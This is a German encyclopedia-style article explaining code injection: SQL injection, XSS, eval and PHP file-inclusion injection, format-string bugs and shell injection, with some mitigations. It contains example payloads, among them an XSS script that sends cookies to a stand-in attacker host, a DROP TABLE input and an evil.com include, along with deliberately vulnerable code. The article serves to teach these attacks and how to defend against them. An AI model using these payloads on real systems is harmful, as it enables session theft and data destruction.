Code Injection

Bei der SQL-Injektion wird die Syntax von SQL ausgenutzt, um Befehle zu injizieren, die eine Datenbank lesen oder verändern können oder die Bedeutung der ursprünglichen Abfrage beeinträchtigen.

Betrachten Sie zum Beispiel eine Webseite, die zwei Felder hat: In Feld-1 gibt der Nutzer einen Benutzernamen und in Feld-2 ein Passwort ein. Der Code hinter der Seite generiert eine SQL-Abfrage, um die Eingaben mit einer Datenbanktabelle zu vergleichen:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = <Inhalt von Feld-2>

Diese Abfrage wird genau dann fündig, wenn es in der Tabelle BenutzerListe einen Eintrag gibt, dessen Benutzername und Passwort den Eingaben des Nutzers gleichen.

Wenn der böswillige Benutzer jedoch in Feld-1 einen gültigen Benutzernamen eingibt und in Feld-2 den Code XYZ' OR '1'='1', dann entsteht folgende Abfrage:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = <Inhalt von Feld-1>
AND BenutzerListe.Password = 'XYZ'
OR '1'='1'

Diese Abfrage ist nicht nur erfolgreich, wenn es einen Eintrag gibt mit dem Benutzernamen und dem Passwort "XYZ" (das dürfte höchst selten der Fall sein), sondern auch, wenn es den Benutzernamen gibt und 1 = 1 ist (und das ist immer der Fall). Das System wird also den Zugriff gestatten.

Ein zweites Beispiel: Der Angreifer gibt als Benutzernamen folgenden Code ein: ';DROP TABLE BenutzerListe; --. In diesem Fall entsteht die folgende Datenbankabfrage:

SELECT BenutzerListe.Benutzername
FROM BenutzerListe
WHERE BenutzerListe.Benutzername = '';
DROP TABLE BenutzerListe;
--AND BenutzerListe.Passwort = ''

Aus Datenbanksicht sind dies drei verschiedene Anweisungen, jeweils durch ein Semikolon getrennt. Die erste sucht einen Datenbankeintrag mit leerem Benutzernamen. Es spielt keine Rolle, ob sie etwas findet, denn als nächstes folgt eine DROP-Anweisung, die die komplette Tabelle BenutzerListe sofort und ohne Rückfrage löscht. Der Rest wird wegen der führenden Bindestriche als Kommentar angesehen, also ignoriert. Mit der Löschanweisung wurde in diesem Moment die gesamte Datenbank zerstört, denn sie enthält nun keine Tabelle mit Benutzernamen und Passwörtern mehr.

Code-Injektion ist die böswillige Einführung von Code in eine Anwendung. So bieten manche Webseiten ein Gästebuch an, in dem Besucher kleine Nachrichten hinterlassen sollen – Dinge wie

Sehr schöne Seite!

Eine böswillige Person könnte jedoch von einer Code-Injection-Schwachstelle im Gästebuch wissen und eine Nachricht wie die folgende hinterlassen:

Schöne Seite, ich denke, ich werde sie missbrauchen. <script>window.location="https://angreifer/bösescgi/cookie.cgi?steal=" + escape(document.cookie)</script>

Wenn nun ein anderer Besucher die Seite besucht, sieht er den Bereich von <script> bis </script> gar nicht – statt ihn anzuzeigen, führt der Browser diesen Skriptcode sofort auf seinem Rechner aus. Dabei kann er nicht nur den Rechner kompromittieren, sondern auch auf der gerade besuchten Website unerwünschte Aktionen ausführen – wenn der Nutzer dort angemeldet war, mit dessen Nutzerrechten.

Dieses Injizieren von Skripten in die Sitzung eines ahnungslosen folgenden Users wird als „Cross-Site-Scripting“ oder „XSS“ bezeichnet. Das Gästebuch-Skript übernahm den Code des erste Nutzers unüberprüft in den auszugebenden HTML-Text – auf Basis naiver Annahmen darüber, welche Eingabedaten möglich sind.[11]

Eine eval()-Injection-Schwachstelle tritt auf, wenn ein Angreifer die gesamte oder einen Teil einer Eingabezeichenkette kontrollieren kann, die in eine eval()-Funktion eingespeist wird aufruft.[12]

$myvar = 'somevalue';
$x = $_GET['arg'];
eval('$myvar = ' . $x . ';');

Das Argument von eval wird als PHP verarbeitet, so dass weitere Befehle angehängt werden können. Wird arg beispielsweise auf "10; system('/bin/echo uh-oh')" gesetzt, wird zusätzlicher Code ausgeführt, der ein Programm auf dem Server ausführt, in diesem Fall "/bin/echo".

PHP erlaubt die Serialisierung und Deserialisierung von ganzen Objekten. Wenn nicht vertrauenswürdige Eingaben in die Deserialisierungsfunktion zugelassen werden, ist es möglich, bestehende Klassen im Programm zu überschreiben und bösartige Angriffe auszuführen.[13] Ein solcher Angriff auf Joomla wurde 2013 gefunden.[14]

Betrachten Sie dieses PHP-Programm (das eine per Anfrage angegebene Datei einschließt):

<?php
$color = 'blue';
if (isset($_GET['Farbe']))
    $color = $_GET['color'];
require($color . '.php');

Das Beispiel könnte so gelesen werden, dass nur Farbdateien wie blau.php und rot.php geladen werden, während Angreifer COLOR=http://evil.com/exploit angeben könnten, was PHP veranlasst, die externe Datei zu laden.

Formatierungszeichenfolgen-Bugs treten am häufigsten auf, wenn ein Programmierer eine Zeichenfolge ausgeben möchte, die vom Benutzer gelieferte Daten enthält. Der Programmierer schreibt vielleicht fälschlicherweise printf(buffer) statt printf("%s", buffer). Die erste Version interpretiert buffer als Formatierungszeichenfolge und parst alle darin enthaltenen Formatierungsanweisungen. Die zweite Version gibt einfach eine Zeichenkette auf dem Bildschirm aus, wie vom Programmierer beabsichtigt.

Betrachten Sie das folgende kurze C-Programm, das eine lokale Variable char array passwort hat, die ein Passwort enthält; das Programm fragt den Benutzer nach einer Ganzzahl und einer Zeichenkette, dann gibt es die vom Benutzer angegebene Zeichenkette aus.

  char user_input[100];
  int int_in;
  char passwort[10] = "Passwort1";

  printf("Geben Sie eine ganze Zahl ein.");
  scanf("%d", &int_in);
  printf("Bitte geben Sie einen String\n");
  fgets(user_input, sizeof(user_input), stdin);

  printf(user_input); // Sichere Version ist: printf("%s", user_input);
  printf("\n");

  return 0;

Wenn die Benutzereingabe mit einer Liste von Formatspezifikationen wie %s%s%s%s%s%s%s%s gefüllt wird, dann beginnt printf(), aus dem stack zu lesen. Schließlich wird einer der %s-Formatierer auf die Adresse von Passwort zugreifen, die sich auf dem Stack befindet, und Passwort1 auf den Bildschirm ausgeben.

Shell-Injektion (oder Befehlsinjektion[15]) ist nach Unix-Shells benannt, gilt aber für die meisten Systeme, die es Software erlauben, eine Befehlszeile programmatisch auszuführen. Hier ist ein Beispiel für ein verwundbares tcsh-Skript:

#!/bin/tcsh
# überprüfe arg-Ausgaben es passt, wenn arg eins ist
if ($1 == 1) echo it matches

Wenn das obige in der ausführbaren Datei ./check gespeichert ist, wird der Shell-Befehl ./check " 1 ) evil" versuchen, den injizierten Shell-Befehl evil auszuführen, anstatt das Argument mit dem konstanten zu vergleichen. Hier ist der angegriffene Code der Code, der versucht, den Parameter zu überprüfen, also genau der Code, der vielleicht versucht hätte, den Parameter zu validieren, um einen Angriff abzuwehren.[16]

Jede Funktion, die zum Zusammenstellen und Ausführen eines Shell-Befehls verwendet werden kann, ist ein potenzielles Vehikel zum Starten eines Shell-Injection-Angriffs. Dazu gehören system(),[17] StartProcess() und System.Diagnostics.Process.Start().[18]

Client-Server-Systeme wie Webbrowsers Interaktion mit Webservern sind potenziell anfällig für Shell-Injection. Betrachten Sie das folgende kurze PHP-Programm, das auf einem Webserver laufen kann, um ein externes Programm namens funnytext auszuführen, das ein vom Benutzer gesendetes Wort durch ein anderes ersetzt.

<?php
passthru("/bin/funnytext " . $_GET['USER_INPUT']);

Das passthru im obigen Beispiel komponiert einen Shell-Befehl, der dann vom Webserver ausgeführt wird. Da ein Teil des komponierten Befehls aus der vom Webbrowser bereitgestellten URL entnommen wird, kann die URL bösartige Shell-Befehle einschleusen. Man kann auf verschiedene Arten Code in dieses Programm einschleusen, indem man die Syntax verschiedener Shell-Funktionen ausnutzt (diese Liste ist nicht vollständig):[19]

Einige Sprachen bieten Funktionen, um Zeichenketten, die zum Aufbau von Shell-Befehlen verwendet werden, richtig zu escapen oder in Anführungszeichen zu setzen:

• PHP: escapeshellarg() und escapeshellcmd()
• Python: shlex.quote()

Dies bedeutet jedoch immer noch, dass der Programmierer diese Funktionen kennen/erlernen und daran denken muss, sie jedes Mal zu verwenden, wenn er Shell-Befehle verwendet. Zusätzlich zur Verwendung dieser Funktionen wird empfohlen, die Benutzereingabe zu validieren oder zu bereinigen.

Eine sicherere Alternative ist die Verwendung von APIs, die externe Programme direkt und nicht über eine Shell ausführen, wodurch die Möglichkeit der Shell-Injection verhindert wird. Diese APIs neigen jedoch dazu, verschiedene Komfortfunktionen von Shells nicht zu unterstützen und/oder im Vergleich zur prägnanten Shell-Syntax umständlicher/ausführlicher zu sein.